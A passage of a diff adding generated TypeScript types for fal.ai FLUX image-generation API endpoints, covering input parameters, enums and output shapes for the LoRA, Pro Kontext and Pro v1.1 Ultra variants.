the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number +} + +export type ImageCa197224 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiFluxLoraInpainting = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: ImageCa197224[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeAcd7986A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight60D57538 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxLoraStreamAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraStreamAccelerationEnumKey = + (typeof inputFalAiFluxLoraStreamAccelerationEnum)[keyof typeof inputFalAiFluxLoraStreamAccelerationEnum] + +export const inputFalAiFluxLoraStreamOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraStreamOutputFormatEnumKey = + (typeof inputFalAiFluxLoraStreamOutputFormatEnum)[keyof typeof inputFalAiFluxLoraStreamOutputFormatEnum] + +export const inputFalAiFluxLoraStreamImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraStreamImageSizeKey = + (typeof inputFalAiFluxLoraStreamImageSize)[keyof typeof inputFalAiFluxLoraStreamImageSize] + +export type InputFalAiFluxLoraStream = { + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraStreamAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraStreamOutputFormatEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeAcd7986A | InputFalAiFluxLoraStreamImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight60D57538[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string +} + +export type ImageF7A61043 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiFluxLoraStream = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: ImageF7A61043[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFluxProKontextOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextOutputFormatEnum] + +export const inputFalAiFluxProKontextSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextSafetyToleranceEnum] + +export const inputFalAiFluxProKontextAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextAspectRatioKey = + (typeof inputFalAiFluxProKontextAspectRatio)[keyof typeof inputFalAiFluxProKontextAspectRatio] + +export type InputFalAiFluxProKontext = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Image prompt for the omni model. + * @minLength 1 + * @example https://v3.fal.media/files/rabbit/rmgBxhwGYb2d3pl3x9sKf_output.png + * @type string + */ + image_url: string + /** + * @description The prompt to generate an image from. + * @example Put a donut next to the flour. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiFluxProKontextAspectRatioKey | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type FalToolkitImageImageImage = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiFluxProKontext = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1024,"url":"https://fal.media/files/tiger/7dSJbIU_Ni-0Zp9eaLsvR_fe56916811d84ac69c6ffc0d32dca151.jpg","height":1024}] + * @type array + */ + images: FalToolkitImageImageImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProKontextMaxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextMaxOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextMaxOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextMaxOutputFormatEnum] + +export const inputFalAiFluxProKontextMaxSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextMaxSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextMaxSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextMaxSafetyToleranceEnum] + +export const inputFalAiFluxProKontextMaxAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextMaxAspectRatioKey = + (typeof inputFalAiFluxProKontextMaxAspectRatio)[keyof typeof inputFalAiFluxProKontextMaxAspectRatio] + +export type InputFalAiFluxProKontextMax = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextMaxOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextMaxSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Image prompt for the omni model. + * @minLength 1 + * @example https://v3.fal.media/files/rabbit/rmgBxhwGYb2d3pl3x9sKf_output.png + * @type string + */ + image_url: string + /** + * @description The prompt to generate an image from. + * @example Put a donut next to the flour. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiFluxProKontextMaxAspectRatioKey | null +} + +export type OutputFalAiFluxProKontextMax = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1024,"url":"https://fal.media/files/tiger/7dSJbIU_Ni-0Zp9eaLsvR_fe56916811d84ac69c6ffc0d32dca151.jpg","height":1024}] + * @type array + */ + images: FalToolkitImageImageImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProKontextMaxMultiOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextMaxMultiOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextMaxMultiOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextMaxMultiOutputFormatEnum] + +export const inputFalAiFluxProKontextMaxMultiSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextMaxMultiSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextMaxMultiSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextMaxMultiSafetyToleranceEnum] + +export const inputFalAiFluxProKontextMaxMultiAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextMaxMultiAspectRatioKey = + (typeof inputFalAiFluxProKontextMaxMultiAspectRatio)[keyof typeof inputFalAiFluxProKontextMaxMultiAspectRatio] + +export type InputFalAiFluxProKontextMaxMulti = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextMaxMultiOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextMaxMultiSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiFluxProKontextMaxMultiAspectRatioKey | null + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Put the little duckling on top of the woman's t-shirt. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description Image prompt for the omni model. + * @example ["https://v3.fal.media/files/penguin/XoW0qavfF-ahg-jX4BMyL_image.webp","https://v3.fal.media/files/tiger/bml6YA7DWJXOigadvxk75_image.webp"] + * @type array + */ + image_urls: string[] +} + +export type RegistryImageFastSdxlModelsImage = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiFluxProKontextMaxMulti = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProKontextMaxTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextMaxTextToImageOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextMaxTextToImageOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextMaxTextToImageOutputFormatEnum] + +export const inputFalAiFluxProKontextMaxTextToImageSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextMaxTextToImageSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextMaxTextToImageSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextMaxTextToImageSafetyToleranceEnum] + +export const inputFalAiFluxProKontextMaxTextToImageAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextMaxTextToImageAspectRatioEnumKey = + (typeof inputFalAiFluxProKontextMaxTextToImageAspectRatioEnum)[keyof typeof inputFalAiFluxProKontextMaxTextToImageAspectRatioEnum] + +export type InputFalAiFluxProKontextMaxTextToImage = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextMaxTextToImageOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextMaxTextToImageSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiFluxProKontextMaxTextToImageAspectRatioEnumKey +} + +export type OutputFalAiFluxProKontextMaxTextToImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProKontextMultiOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextMultiOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextMultiOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextMultiOutputFormatEnum] + +export const inputFalAiFluxProKontextMultiSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextMultiSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextMultiSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextMultiSafetyToleranceEnum] + +export const inputFalAiFluxProKontextMultiAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextMultiAspectRatioKey = + (typeof inputFalAiFluxProKontextMultiAspectRatio)[keyof typeof inputFalAiFluxProKontextMultiAspectRatio] + +export type InputFalAiFluxProKontextMulti = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextMultiOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextMultiSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiFluxProKontextMultiAspectRatioKey | null + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Put the little duckling on top of the woman's t-shirt. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description Image prompt for the omni model. + * @example ["https://v3.fal.media/files/penguin/XoW0qavfF-ahg-jX4BMyL_image.webp","https://v3.fal.media/files/tiger/bml6YA7DWJXOigadvxk75_image.webp"] + * @type array + */ + image_urls: string[] +} + +export type OutputFalAiFluxProKontextMulti = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProKontextTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProKontextTextToImageOutputFormatEnumKey = + (typeof inputFalAiFluxProKontextTextToImageOutputFormatEnum)[keyof typeof inputFalAiFluxProKontextTextToImageOutputFormatEnum] + +export const inputFalAiFluxProKontextTextToImageSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProKontextTextToImageSafetyToleranceEnumKey = + (typeof inputFalAiFluxProKontextTextToImageSafetyToleranceEnum)[keyof typeof inputFalAiFluxProKontextTextToImageSafetyToleranceEnum] + +export const inputFalAiFluxProKontextTextToImageAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProKontextTextToImageAspectRatioEnumKey = + (typeof inputFalAiFluxProKontextTextToImageAspectRatioEnum)[keyof typeof inputFalAiFluxProKontextTextToImageAspectRatioEnum] + +export type InputFalAiFluxProKontextTextToImage = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProKontextTextToImageOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProKontextTextToImageSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiFluxProKontextTextToImageAspectRatioEnumKey +} + +export type OutputFalAiFluxProKontextTextToImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSizeE1Cf0512 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxProV11OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV11OutputFormatEnumKey = + (typeof inputFalAiFluxProV11OutputFormatEnum)[keyof typeof inputFalAiFluxProV11OutputFormatEnum] + +export const inputFalAiFluxProV11SafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV11SafetyToleranceEnumKey = + (typeof inputFalAiFluxProV11SafetyToleranceEnum)[keyof typeof inputFalAiFluxProV11SafetyToleranceEnum] + +export const inputFalAiFluxProV11ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxProV11ImageSizeKey = + (typeof inputFalAiFluxProV11ImageSize)[keyof typeof inputFalAiFluxProV11ImageSize] + +export type InputFalAiFluxProV11 = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV11OutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV11SafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeE1Cf0512 | InputFalAiFluxProV11ImageSizeKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean +} + +export type OutputFalAiFluxProV11 = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV11UltraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV11UltraOutputFormatEnumKey = + (typeof inputFalAiFluxProV11UltraOutputFormatEnum)[keyof typeof inputFalAiFluxProV11UltraOutputFormatEnum] + +export const inputFalAiFluxProV11UltraSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV11UltraSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV11UltraSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV11UltraSafetyToleranceEnum] + +export const inputFalAiFluxProV11UltraAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProV11UltraAspectRatioKey = + (typeof inputFalAiFluxProV11UltraAspectRatio)[keyof typeof inputFalAiFluxProV11UltraAspectRatio] + +export type InputFalAiFluxProV11Ultra = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV11UltraOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV11UltraSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Generate less processed, more natural-looking images. + * @default false + * @type boolean | undefined + */ + raw?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The image URL to generate an image from. + */ + image_url?: string | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The strength of the image prompt, between 0 and 1. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + image_prompt_strength?: number + /** + * @description The aspect ratio of the generated image. + * @default 16:9 + */ + aspect_ratio?: InputFalAiFluxProV11UltraAspectRatioKey | (string & {}) +} + +export type OutputFalAiFluxProV11Ultra = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: 